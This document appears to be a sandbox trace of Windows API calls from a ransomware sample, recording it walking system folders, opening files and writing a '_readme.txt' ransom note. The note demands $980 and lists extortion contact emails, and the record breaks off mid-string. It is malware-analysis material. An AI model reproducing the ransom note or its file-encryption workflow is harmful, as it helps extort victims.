[0117.329] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0117.329] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0117.329] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0117.329] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.329] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.329] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.329] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.329] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.329] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.329] PathFindFileNameW (pszPath="") returned="" [0117.329] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.330] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.330] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.330] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0117.330] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0117.330] lstrcpyW (in: lpString1=0x6771cd0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.330] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.330] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.330] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.330] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0117.331] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0117.331] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.331] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0117.331] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.331] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0117.331] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.331] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0117.331] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.331] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0117.331] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.331] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.331] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.331] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.331] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0117.332] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.332] PathFindFileNameW (pszPath="") returned="" [0117.332] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.332] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.332] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.332] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0117.332] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0117.332] lstrcpyW (in: lpString1=0x6771cd0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.332] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.333] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.333] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.333] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.334] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.334] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.334] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.334] PathFindFileNameW (pszPath="") returned="" [0117.334] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.334] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.334] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.334] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.334] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.335] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0117.335] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.335] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.335] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.335] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.335] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.335] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0117.335] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.335] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.335] PathFindFileNameW (pszPath="") returned="" [0117.335] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.335] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.336] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.336] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.336] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0117.336] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0117.336] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.336] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted 